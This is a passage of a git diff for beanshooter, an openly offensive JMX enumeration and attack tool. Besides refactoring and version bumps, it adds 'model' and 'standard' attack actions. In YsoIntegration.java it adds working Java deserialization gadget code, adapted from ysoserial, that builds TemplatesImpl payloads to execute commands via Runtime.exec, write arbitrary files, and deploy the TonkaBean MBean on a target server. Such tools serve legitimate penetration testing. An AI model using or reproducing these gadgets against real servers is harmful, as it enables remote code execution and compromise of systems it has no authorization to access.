ObjID objID = Utils.parseObjID(BeanshooterOption.TARGET_OBJID_CONNECTION.getValue());
RMIConnection conn = getRMIConnectionByObjID(regEndpoint, objID);
@@ -139,9 +139,7 @@ else if (t instanceof CertPathValidatorException)
{
Logger.eprintlnMixedBlue("The server probably uses TLS settings that are", "incompatible", "with your current security settings.");
Logger.eprintlnMixedYellow("You may try to edit your", "java.security", "policy file to overcome the issue.");
-
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
else
@@ -149,8 +147,7 @@ else if (t instanceof CertPathValidatorException)
ExceptionHandler.unknownReason(e);
}
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
catch (SecurityException e)
@@ -234,16 +231,21 @@ private RMIServer getRMIServerByLookup(RMIRegistryEndpoint regEndpoint, String b
{
RMIServer returnValue = null;
- try {
+ try
+ {
returnValue = (RMIServer)regEndpoint.lookup(boundName);
+ }
- } catch (ClassNotFoundException e) {
+ catch (ClassNotFoundException e)
+ {
ExceptionHandler.lookupClassNotFoundException(e, e.getMessage());
+ }
- } catch( ClassCastException e) {
+ catch (ClassCastException e)
+ {
Logger.printlnMixedYellow("Unable to cast remote object to", "RMIServer", "class.");
Logger.printlnMixedBlue("You probbably specified a bound name that does not implement the", "RMIServer", "interface.");
- Utils.exit();
+ Utils.exit(e);
}
return returnValue;
diff --git a/beanshooter/src/de/qtc/beanshooter/utils/ExtendedJolokiaJmxConnector.java b/beanshooter/src/de/qtc/beanshooter/utils/ExtendedJolokiaJmxConnector.java
index c53b029..b970ee7 100644
--- a/beanshooter/src/de/qtc/beanshooter/utils/ExtendedJolokiaJmxConnector.java
+++ b/beanshooter/src/de/qtc/beanshooter/utils/ExtendedJolokiaJmxConnector.java
@@ -19,7 +19,6 @@
import org.jolokia.client.J4pClientBuilder;
import org.jolokia.client.jmxadapter.JolokiaJmxConnector;
-import de.qtc.beanshooter.exceptions.ExceptionHandler;
import de.qtc.beanshooter.io.Logger;
import de.qtc.beanshooter.operation.BeanshooterOption;
@@ -89,8 +88,7 @@ public boolean isTrusted(X509Certificate[] chain, String authType) throws Certif
catch (KeyManagementException | NoSuchAlgorithmException | KeyStoreException e)
{
Logger.printlnMixedYellow("Caught unexpected", e.getClass().getName(), "while setting the SSL context for Jolokia.");
- ExceptionHandler.stackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
if (mergedEnv.containsKey(CREDENTIALS))
diff --git a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java
index e5fc45e..d014ac1 100644
--- a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java
+++ b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java
@@ -1,7 +1,11 @@
package de.qtc.beanshooter.utils;
+import java.io.BufferedReader;
import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
import java.io.IOException;
+import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -35,14 +39,19 @@
import java.util.regex.Matcher;
import java.util.regex.Pattern;
+import javax.management.Descriptor;
+import javax.management.ImmutableDescriptor;
import javax.management.MBeanOperationInfo;
import javax.management.MBeanParameterInfo;
import javax.management.MalformedObjectNameException;
import javax.management.ObjectName;
+import javax.management.modelmbean.ModelMBeanOperationInfo;
+import javax.management.modelmbean.RequiredModelMBean;
import de.qtc.beanshooter.exceptions.ExceptionHandler;
import de.qtc.beanshooter.io.Logger;
-
+import de.qtc.beanshooter.operation.BeanshooterOption;
+import de.qtc.beanshooter.plugin.PluginSystem;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
@@ -67,6 +76,18 @@ public static void exit()
System.exit(1);
}
+ /**
+ * Just a wrapper around System.exit(1) that prints an information before quitting.
+ * Also a stacktrace is printed if --stack-trace was used.
+ */
+ public static void exit(Exception e)
+ {
+ ExceptionHandler.showStackTrace(e);
+
+ Logger.eprintln("Cannot continue from here.");
+ System.exit(1);
+ }
+
/**
* Just a wrapper around System.exit(1) that prints an information before quitting. This
* version is invoked with a boolean that decides whether the exit should be performed.
@@ -659,4 +680,152 @@ public static String getJmxTarget(Remote remote) throws IllegalArgumentException
return String.format("%s:%d", host, port);
}
+
+ /**
+ * Create an array of ModelMBeanOperationInfo from the specified class. This method uses reflection to
+ * determine all the available methods within the specified class, filters methods with non serializable
+ * parameters and wraps each method into an ModelMBeanOperationInfo.
+ *
+ * @param cls Class to obtain ModelMBeanOperationInfos from
+ * @return Array of ModelMBeanOperationInfo for the specified class
+ */
+ public static ModelMBeanOperationInfo[] createModelMBeanInfosFromClass(Class> cls)
+ {
+ Method[] methods = cls.getMethods();
+ List infos = new ArrayList();;
+
+ Map descriptorFields = new HashMap();
+ descriptorFields.put("class", cls.getName());
+ descriptorFields.put("role", "operation");
+ descriptorFields.put("descriptorType", "operation");
+
+ outer:
+ for (Method method : methods)
+ {
+ if (!BeanshooterOption.MODEL_ALL_METHODS.getBool())
+ {
+ for (Class> paramType : method.getParameterTypes())
+ {
+ if (!(Serializable.class.isAssignableFrom(paramType)))
+ continue outer;
+ }
+ }
+
+ descriptorFields.put("name", method.getName());
+ descriptorFields.put("displayName", method.getName());
+
+ Descriptor methodDescriptor = new ImmutableDescriptor(descriptorFields);
+ ModelMBeanOperationInfo info = new ModelMBeanOperationInfo(method.getName(), method, methodDescriptor);
+
+ infos.add(info);
+ }
+
+ try
+ {
+ Method setManagedResource = RequiredModelMBean.class.getMethod("setManagedResource", new Class[] {Object.class, String.class});
+ ModelMBeanOperationInfo info = new ModelMBeanOperationInfo("setManagedResource", setManagedResource);
+ infos.add(info);
+ }
+
+ catch (NoSuchMethodException | SecurityException e)
+ {
+ ExceptionHandler.internalError("createModelMBeanInfosFromClass", "unable to find setManagedResource method");
+ }
+
+ return infos.toArray(new ModelMBeanOperationInfo[0]);
+ }
+
+ /**
+ * Create an array of ModelMBeanOperationInfo from user specified signatures. This function inspects the
+ * MODEL_SIGNATURE and MODEL_SIGNATURE_FILE options and parses the contents accordingly. For each signature,
+ * a new ModelMBeanOperationInfo is created. All methods are expected to be present in the specified className.
+ *
+ * @param className Class where the signatures are defined
+ * @return Array of ModelMBeanOperationInfo, one for each specified signature
+ */
+ public static ModelMBeanOperationInfo[] createModelMBeanInfosFromArg(String className)
+ {
+ List operationInfos = new ArrayList();
+
+ if (BeanshooterOption.MODEL_SIGNATURE.notNull())
+ {
+ ModelMBeanOperationInfo operationInfo = crateModelMBeanInfoFromString(className, BeanshooterOption.MODEL_SIGNATURE.getValue());
+ operationInfos.add(operationInfo);
+ }
+
+ else if (BeanshooterOption.MODEL_SIGNATURE_FILE.notNull())
+ {
+ try (BufferedReader br = new BufferedReader(new FileReader(BeanshooterOption.MODEL_SIGNATURE_FILE.getValue())))
+ {
+ String line;
+
+ while ((line = br.readLine()) != null)
+ {
+ ModelMBeanOperationInfo operationInfo = crateModelMBeanInfoFromString(className, line);
+ operationInfos.add(operationInfo);
+ }
+ }
+
+ catch (FileNotFoundException e)
+ {
+ Logger.printlnMixedYellow("Caught unexpected", "FileNotFoundException", "while preparing method signatures.");
+ Logger.printlnMixedBlue("The specified input file", BeanshooterOption.MODEL_SIGNATURE_FILE.getValue(), "seems not to exist.");
+ Utils.exit(e);
+ }
+
+ catch (IOException e)
+ {
+ ExceptionHandler.handleFileRead(e, BeanshooterOption.MODEL_SIGNATURE_FILE.getValue(), true);
+ }
+ }
+
+ else
+ {
+ ExceptionHandler.internalError("createModelMBeanInfosFromArg", "Method was called but neither --signature nor --signature file was specified");
+ }
+
+ try
+ {
+ Method setManagedResource = RequiredModelMBean.class.getMethod("setManagedResource", new Class[] {Object.class, String.class});
+ ModelMBeanOperationInfo info = new ModelMBeanOperationInfo("setManagedResource", setManagedResource);
+ operationInfos.add(info);
+ }
+
+ catch (NoSuchMethodException | SecurityException e)
+ {
+ ExceptionHandler.internalError("createModelMBeanInfosFromClass", "unable to find setManagedResource method");
+ }
+
+ return operationInfos.toArray(new ModelMBeanOperationInfo[0]);
+ }
+
+ /**
+ * Create a ModelMBeanOperationInfo from the specified method signature.
+ *
+ * @param className the class where the method is defined in
+ * @param method the method signature
+ * @return ModelMBeanOperationInfo for the specified parameters
+ */
+ public static ModelMBeanOperationInfo crateModelMBeanInfoFromString(String className, String method)
+ {
+ String[] methodDesc = PluginSystem.getArgumentTypes(method, true);
+ String returnValue = method.split(" ", 2)[0];
+
+ Map descriptorFields = new HashMap();
+ descriptorFields.put("name", methodDesc[0]);
+ descriptorFields.put("displayName", methodDesc[0]);
+ descriptorFields.put("class", className);
+ descriptorFields.put("role", "operation");
+ descriptorFields.put("descriptorType", "operation");
+
+ Descriptor methodDescriptor = new ImmutableDescriptor(descriptorFields);
+ MBeanParameterInfo[] paramInfos = new MBeanParameterInfo[methodDesc.length - 1];
+
+ for (int ctr = 1; ctr < methodDesc.length; ctr++)
+ {
+ paramInfos[ctr - 1] = new MBeanParameterInfo(null, methodDesc[ctr], null);
+ }
+
+ return new ModelMBeanOperationInfo(methodDesc[0], null, paramInfos, returnValue, MBeanOperationInfo.UNKNOWN, methodDescriptor);
+ }
}
diff --git a/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java b/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java
index ea6b6ed..b673c92 100644
--- a/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java
+++ b/beanshooter/src/de/qtc/beanshooter/utils/YsoIntegration.java
@@ -1,22 +1,53 @@
package de.qtc.beanshooter.utils;
import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.Serializable;
+import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.Arrays;
+import java.util.Base64;
+
+import org.apache.commons.io.IOUtils;
+
+import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import de.qtc.beanshooter.cli.ArgumentHandler;
import de.qtc.beanshooter.exceptions.ExceptionHandler;
import de.qtc.beanshooter.io.Logger;
+import de.qtc.beanshooter.mbean.MBean;
import de.qtc.beanshooter.operation.BeanshooterOption;
+import javassist.CannotCompileException;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.NotFoundException;
/**
* Wrapper around ysoserial. Is used to validate the path to the ysoserial jar file and to create gadgets.
*
* @author Tobias Neitzel (@qtc_de)
*/
-public class YsoIntegration {
+@SuppressWarnings("restriction")
+public class YsoIntegration
+{
+ /**
+ * For beanshooters standard action, we use the YsoIntegration class to also create the required
+ * payload objects of type TemplateImpl. Ysoserial only supports a generic command execution version
+ * of the template. beanshooter adds some additional one. Since a full ysoserial integration is not
+ * necessary for only the template object creation, we do it our own and copy the relevant code from
+ * the ysoserial project.
+ *
+ * The following array contains the available template objects.
+ */
+ private static final String[] templateGadgets = new String[] { "template-exec", "template-upload", "template-tonka" };
/**
* Just a small wrapper around the URLClassLoader creation. Checks the existence of the specified file
@@ -29,7 +60,8 @@ private static URLClassLoader getClassLoader() throws MalformedURLException
{
File ysoJar = new File((String)ArgumentHandler.require(BeanshooterOption.YSO));
- if( !ysoJar.exists() ) {
+ if (!ysoJar.exists())
+ {
ExceptionHandler.ysoNotPresent(BeanshooterOption.YSO.getValue());
}
@@ -40,6 +72,9 @@ private static URLClassLoader getClassLoader() throws MalformedURLException
* Loads ysoserial using and separate URLClassLoader and invokes the makePayloadObject function by using
* reflection. The result is a ysoserial gadget as it would be created on the command line.
*
+ * If the requested gadget is contained within templateGadgets, we create the gadget on our own (of course
+ * still with the help of the ysoserial source code - copy & paste).
+ *
* @param gadget name of the desired gadget
* @param command command specification for the desired gadget
* @return ysoserial gadget
@@ -48,7 +83,13 @@ public static Object getPayloadObject(String gadget, String command)
{
Object ysoPayload = null;
- try {
+ if (Arrays.asList(templateGadgets).contains(gadget))
+ {
+ return getTemplateGadget(gadget, command);
+ }
+
+ try
+ {
URLClassLoader ucl = getClassLoader();
Class> yso = Class.forName("ysoserial.payloads.ObjectPayload$Utils", true, ucl);
@@ -56,17 +97,239 @@ public static Object getPayloadObject(String gadget, String command)
Logger.print("Creating ysoserial payload...");
ysoPayload = method.invoke(null, new Object[] {gadget, command});
+ }
- } catch( Exception e) {
+ catch( Exception e)
+ {
Logger.printlnPlain(" failed.");
Logger.eprintlnMixedYellow("Caught unexpected", e.getClass().getName(), "during gadget generation.");
Logger.eprintMixedBlue("You probably specified", "a wrong gadget name", "or an ");
Logger.eprintlnPlainBlue("invalid gadget argument.");
- ExceptionHandler.showStackTrace(e);
- Utils.exit();
+ Utils.exit(e);
}
Logger.printlnPlain(" done.");
return ysoPayload;
}
+
+ /**
+ * Create the requested template gadget.
+ *
+ * @param gadget the gadget to create
+ * @param command command to pass to the gadget
+ * @return TemplateImpl object that performs the requested action
+ */
+ private static Object getTemplateGadget(String gadget, String command)
+ {
+ if (gadget.equals("template-tonka"))
+ return getTonkaTemplateGadget();
+
+ else if (gadget.equals("template-exec"))
+ return getCommandTemplateGadget(command);
+
+ else if (gadget.equals("template-upload"))
+ return getUploadTemplateGadget(command);
+
+ ExceptionHandler.internalError("getTemplateGadget", "A non existing gadget was requested.");
+ return null;
+ }
+
+ /**
+ * Returns a TemplateImpl gadget that deploys the tonka bean on the target server.
+ *
+ * @return TemplateImpl object that deploys the tonka bean on the target server
+ * @throws IOException
+ */
+ private static Object getTonkaTemplateGadget()
+ {
+ byte[] content = null;
+ String base64 = null;
+
+ InputStream stream = YsoIntegration.class.getResourceAsStream("/" + MBean.TONKA.getJarName());
+
+ if (stream == null)
+ {
+ Logger.printlnMixedYellow("Unable to find", MBean.TONKA.getJarName(), "within beanshooter.jar.");
+ Logger.printlnMixedBlue("This", "is not", "supposed to happen.");
+ Utils.exit();
+ }
+
+ try
+ {
+ content = IOUtils.toByteArray(stream);
+ }
+
+ catch (IOException e)
+ {
+ Logger.printlnMixedYellow("Caught unexpected", "IOException", "while reading " + MBean.TONKA.getJarName() + ".");
+ Utils.exit(e);
+ }
+
+ base64 = new String(Base64.getEncoder().encode(content));
+
+ // Create a temporary file where the TonkaBean Jar file is uploaded
+ String java = "java.io.File f = java.io.File.createTempFile(\"tonka-bean\", \".jar\");";
+
+ // Upload the TonkaBean Jar file
+ java += String.format("java.nio.file.Files.write(f.toPath(), "
+ + "java.util.Base64.getDecoder().decode(\"%s\"), "
+ + "new java.nio.file.StandardOpenOption[0]);", base64);
+
+ // Create an URLClassLoader and use it load the TonkaBean Jar
+ java += "java.net.URLClassLoader ucls = new java.net.URLClassLoader(new java.net.URL[] {f.toURI().toURL()});";
+ java += "Class tonkaBeanClass = java.lang.Class.forName(\"de.qtc.beanshooter.tonkabean.TonkaBean\", true, ucls);";
+
+ // Create a new instance of the TonkaBean and register it to the MBean server
+ java += "Object instance = tonkaBeanClass.newInstance();";
+ java += String.format("java.lang.management.ManagementFactory.getPlatformMBeanServer().registerMBean(instance, "
+ + "new javax.management.ObjectName(\"%s\"));", MBean.TONKA.getObjectName().toString());
+
+ // Delete the temporary file
+ java += "f.delete();";
+
+ return templateGadgetFromJava(java);
+ }
+
+ /**
+ * Returns a TemplateImpl gadget that uploads a file. The gadget command is expected
+ * to be of the structure "source:destination".
+ *
+ * @param command the upload command - format should be :
+ * @return TemplateImpl object that uploads a file.
+ */
+ private static Object getUploadTemplateGadget(String command)
+ {
+ String base64 = null;
+ String[] split = command.split("::");
+
+ if (split.length != 2)
+ {
+ Logger.eprintlnMixedYellow("Invalid upload parameter:", command);
+ Logger.eprintlnMixedBlue("The expected format is:", "::");
+ Utils.exit();
+ }
+
+ try
+ {
+ byte[] content = Files.readAllBytes(Paths.get(split[0]));
+ base64 = new String(Base64.getEncoder().encode(content));
+ }
+
+ catch (IOException e)
+ {
+ ExceptionHandler.handleFileRead(e, split[0], true);
+ }
+
+ String java = String.format("java.nio.file.Files.write(new java.io.File(\"%s\").toPath(), "
+ + "java.util.Base64.getDecoder().decode(\"%s\"), "
+ + "new java.nio.file.StandardOpenOption[0]);", split[1], base64);
+
+ return templateGadgetFromJava(java);
+ }
+
+ /**
+ * Returns a TemplateImpl gadget that executes a command. This is basically the
+ * version implemented by ysoserial.
+ *
+ * @param command the command to execute
+ * @return TemplateImpl object that executes a command
+ */
+ private static Object getCommandTemplateGadget(String command)
+ {
+ String escCommand = command.replace("\\", "\\\\").replace("\"", "\\\"");
+ String java = String.format("java.lang.Runtime.getRuntime().exec(\"%s\");", escCommand);
+
+ if (BeanshooterOption.STANDARD_EXEC_ARRAY.getBool())
+ {
+ String[] cmd = escCommand.split(" ", 3);
+ java = String.format("java.lang.Runtime.getRuntime().exec("
+ + "new String[] { \"%s\", \"%s\", \"%s\" } );",
+ cmd[0], cmd[1], cmd[2]);
+ }
+
+ return templateGadgetFromJava(java);
+ }
+
+ /**
+ * Generate a TemplateImpl object that executes the specified Java code on
+ * transformation. This function is basically a copy of ysoserials createTemplatesImpl.
+ *
+ * source: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java#L106
+ *
+ * Different licensing may apply.
+ *
+ * @param java the java code to execute when a transformation occurs
+ * @return TemplateImpl object that executes the specified Java code on transformation
+ */
+ private static Object templateGadgetFromJava(String java)
+ {
+ byte[] payloadBytes = null;
+ byte[] dummyBytes = null;
+
+ try
+ {
+ ClassPool pool = ClassPool.getDefault();
+
+ CtClass payloadClass = pool.makeClass("de.qtc.beanshooter.utils.TransletPayloadStub" + System.nanoTime());
+ payloadClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
+ payloadClass.addInterface(pool.getCtClass(Serializable.class.getName()));
+ payloadClass.makeClassInitializer().insertAfter(java);
+
+ CtClass dummyClass = pool.makeClass("de.qtc.beanshooter.utils.Foo" + System.nanoTime());
+ dummyClass.addInterface(pool.getCtClass(Serializable.class.getName()));
+
+ payloadBytes = payloadClass.toBytecode();
+ dummyBytes = dummyClass.toBytecode();
+ }
+
+ catch (NotFoundException | CannotCompileException | IOException e)
+ {
+ Logger.printlnMixedYellow("Caught", e.getClass().getName(), "during dynamic class generation.");
+ Utils.exit(e);
+ }
+
+ return createTemplateGadget(payloadBytes, dummyBytes);
+ }
+
+ /**
+ * Helper class to generate TemplateImpl objects. This function is basically a copy of
+ * ysoserials createTemplatesImpl.
+ *
+ * source: https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/util/Gadgets.java#L106
+ *
+ * Different licensing may apply.
+ *
+ * @param payloadBytes bytecode of the payload class to place within the Template
+ * @param dummyBytes bytecode of a dummy class
+ * @return TemplateImpl object that contains the specified bytecodes
+ */
+ @SuppressWarnings("deprecation")
+ private static Object createTemplateGadget(byte[] payloadBytes, byte[] dummyBytes)
+ {
+ final TemplatesImpl template = new TemplatesImpl();
+ Field bytecodeField;
+
+ try
+ {
+ bytecodeField = template.getClass().getDeclaredField("_bytecodes");
+ bytecodeField.setAccessible(true);
+ bytecodeField.set(template, new byte[][] { payloadBytes, dummyBytes});
+
+ Field nameField = template.getClass().getDeclaredField("_name");
+ nameField.setAccessible(true);
+ nameField.set(template, "Pwnr");
+
+ Field templateField = template.getClass().getDeclaredField("_tfactory");
+ templateField.setAccessible(true);
+ templateField.set(template, TransformerFactoryImpl.class.newInstance());
+ }
+
+ catch (NoSuchFieldException | SecurityException | IllegalArgumentException | IllegalAccessException | InstantiationException e)
+ {
+ Logger.printlnMixedYellow("Caught", e.getClass().getName(), "while creating TemplatesIml object.");
+ Utils.exit(e);
+ }
+
+ return template;
+ }
}
diff --git a/docker/jmx-example-server/CHANGELOG.md b/docker/jmx-example-server/CHANGELOG.md
new file mode 100644
index 0000000..6c5cb9a
--- /dev/null
+++ b/docker/jmx-example-server/CHANGELOG.md
@@ -0,0 +1,14 @@
+# Changelog
+
+All notable changes to this project will be documented in this file.
+
+The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
+and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
+
+
+## [2.1] - Mar 20, 2023
+
+### Added
+
+* Add `java.xml` module
+* Add `CHANGELOG.md`
diff --git a/docker/jmx-example-server/Dockerfile b/docker/jmx-example-server/Dockerfile
index 5e2c6e1..0ab4d52 100644
--- a/docker/jmx-example-server/Dockerfile
+++ b/docker/jmx-example-server/Dockerfile
@@ -12,8 +12,8 @@ RUN mvn clean package
FROM alpine:latest AS jdk-builder
RUN set -ex \
&& apk add --no-cache openjdk11 \
- && /usr/lib/jvm/java-11-openjdk/bin/jlink --add-modules java.rmi,java.management.rmi,jdk.management.agent,jdk.naming.rmi --verbose --strip-debug --compress 2 \
- --no-header-files --no-man-pages --output /jdk
+ && /usr/lib/jvm/java-11-openjdk/bin/jlink --add-modules java.rmi,java.management.rmi,jdk.management.agent,jdk.naming.rmi,java.xml \
+ --verbose --strip-debug --compress 2 --no-header-files --no-man-pages --output /jdk
###########################################
### Container Stage ###
diff --git a/docker/jmx-example-server/docker-compose.yml b/docker/jmx-example-server/docker-compose.yml
index 3d6976b..8aab817 100644
--- a/docker/jmx-example-server/docker-compose.yml
+++ b/docker/jmx-example-server/docker-compose.yml
@@ -2,7 +2,7 @@ version: '3.7'
services:
beanshooter:
- image: ghcr.io/qtc-de/beanshooter/jmx-example-server:2.0
+ image: ghcr.io/qtc-de/beanshooter/jmx-example-server:2.1
build: .
#environment:
# - >
diff --git a/docs/jolokia.md b/docs/jolokia.md
index 3625122..40134c8 100644
--- a/docs/jolokia.md
+++ b/docs/jolokia.md
@@ -50,8 +50,8 @@ arbitrary *Java* objects are therefore not possible.
> **Q:** What *beanshooter* operations are supported for *Jolokia* endpoints?
**A**: All operations that do not require the creation or removal of *MBeans* or the transport of complex *Java* types.
-In essence, this means that the `deploy`, `undeploy` and `serial` actions are not supported. All other operations are
-supported, as long as the only utilize *OpenTypes*, but this should be the case for most actions.
+In essence, this means that the `deploy`, `undeploy`, `model`, `standard` and `serial` actions are not supported. All
+other operations are supported, as long as the only utilize *OpenTypes*, but this should be the case for most actions.
> **Q:** Can I use the *TonkaBean* via *Jolokia*?
diff --git a/pom.xml b/pom.xml
index 8df5794..bda3a47 100644
--- a/pom.xml
+++ b/pom.xml
@@ -5,7 +5,7 @@
reactor
reactor
pom
- 4.0.0
+ 4.1.0
JMX enumeration and attacking tool
diff --git a/resources/bash_completion.d/beanshooter b/resources/bash_completion.d/beanshooter
index 587ccbd..15735da 100644
--- a/resources/bash_completion.d/beanshooter
+++ b/resources/bash_completion.d/beanshooter
@@ -34,6 +34,7 @@ function _beanshooter()
_init_completion || return
file_like="--jar-file --config --plugin --export-dir --export-mlet --export-jar --username-file --password-file --yso --output-file"
+ file_like="$file_like --signature-file"
unguessable="--class-name --object-name --bound-name --objid-server --objid-connection --username --password --stager-port --threads"
unguessable="$unguessable --class-filter --obj-filter --cwd --env --signature --shell --jolokia-proxy --jolokia-proxy-user"
unguessable="$unguessable --jolokia-proxy-password --jolokia-endpoint --lookup"
@@ -49,7 +50,7 @@ function _beanshooter()
gadgets="$gadgets JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2"
gadgets="$gadgets Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1"
- operations="attr brute deploy enum info invoke list serial stager undeploy diagnostic hotspot mlet recorder tomcat tonka jolokia"
+ operations="attr brute deploy enum info invoke list serial stager undeploy diagnostic hotspot mlet recorder tomcat tonka jolokia model standard"
sasl_mechanisms="plain digest cram gssapi ntlm"
general_opts="--help --config --verbose --plugin --no-color --stack-trace"
conn_opts="--follow --ssl --jmxmp --sasl --jolokia --jolokia-proxy --jolokia-proxy-user --jolokia-proxy-password --jolokia-endpoint"
@@ -121,6 +122,36 @@ function _beanshooter()
opts="$opts $auth_opts"
opts="$opts $general_opts"
+ elif [[ ${words[1]} == "model" ]] && _comp_beanoption 7; then
+ opts="--all-methods"
+ opts="$opts --signature"
+ opts="$opts --signature-file"
+ opts="$opts $auth_opts"
+ opts="$opts $common_three"
+
+ elif [[ ${words[1]} == "standard" ]]; then
+
+ if [[ $cur == -* ]] || [[ $args -ge 6 ]] || [[ $args -ge 5 && ${words[4]} == "tonka" ]]; then
+
+ opts="$auth_opts"
+ opts="$opts $common_three"
+
+ if [[ ${words[4]} == "exec" ]]; then
+ opts="$opts --exec-array"
+ fi
+
+ elif [[ $args -eq 4 ]]; then
+ opts="exec tonka upload"
+
+ elif [[ $args -eq 5 ]] && [[ $prev == "upload" ]]; then
+ compopt -o nospace
+ _filedir
+ return
+
+ else
+ return 0
+ fi
+
elif [[ ${words[1]} == "deploy" ]] && _comp_beanoption 6; then
opts="$auth_opts"
opts="$opts --jar-file"
diff --git a/tests/jmx-example-server-2/tonka/deploy/rmi/tricot.yml b/tests/jmx-example-server-2/tonka/deploy/rmi/tricot.yml
index e33c7c9..e5b7c9b 100644
--- a/tests/jmx-example-server-2/tonka/deploy/rmi/tricot.yml
+++ b/tests/jmx-example-server-2/tonka/deploy/rmi/tricot.yml
@@ -42,7 +42,7 @@ tests:
values:
- 'MBean class is not known by the server'
- 'Creating MLetHandler for endpoint: /'
- - 'Starting HTTP server.'
+ - 'Waiting for incoming connections'
- 'Incoming request from: '
- 'de.qtc.beanshooter.tonkabean.TonkaBean'
- 'MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed'
diff --git a/tests/jmx-example-server/deploy/rmi/tricot.yml b/tests/jmx-example-server/deploy/rmi/tricot.yml
index 2261d32..5d6146f 100644
--- a/tests/jmx-example-server/deploy/rmi/tricot.yml
+++ b/tests/jmx-example-server/deploy/rmi/tricot.yml
@@ -173,7 +173,7 @@ tests:
- Exporting MLet HTML file to
- file_exists:
files:
- - tonka-bean-4.0.0-jar-with-dependencies.jar
+ - tonka-bean-4.1.0-jar-with-dependencies.jar
- index.html
@@ -189,7 +189,7 @@ tests:
- de.qtc.beanshooter.tonkabean.TonkaBean
- 'de.qtc.beanshooter:type=Test'
- --jar-file
- - ./tonka-bean-4.0.0-jar-with-dependencies.jar
+ - ./tonka-bean-4.1.0-jar-with-dependencies.jar
- --stager-url
- http://${DOCKER-GW}:4444
@@ -212,7 +212,7 @@ tests:
- file_exists:
cleanup: True
files:
- - tonka-bean-4.0.0-jar-with-dependencies.jar
+ - tonka-bean-4.1.0-jar-with-dependencies.jar
- index.html
diff --git a/tonka-bean/pom.xml b/tonka-bean/pom.xml
index 2bd7d33..e2169bd 100644
--- a/tonka-bean/pom.xml
+++ b/tonka-bean/pom.xml
@@ -4,7 +4,7 @@
de.qtc.beanshooter
reactor
- 4.0.0
+ 4.1.0
tonka-bean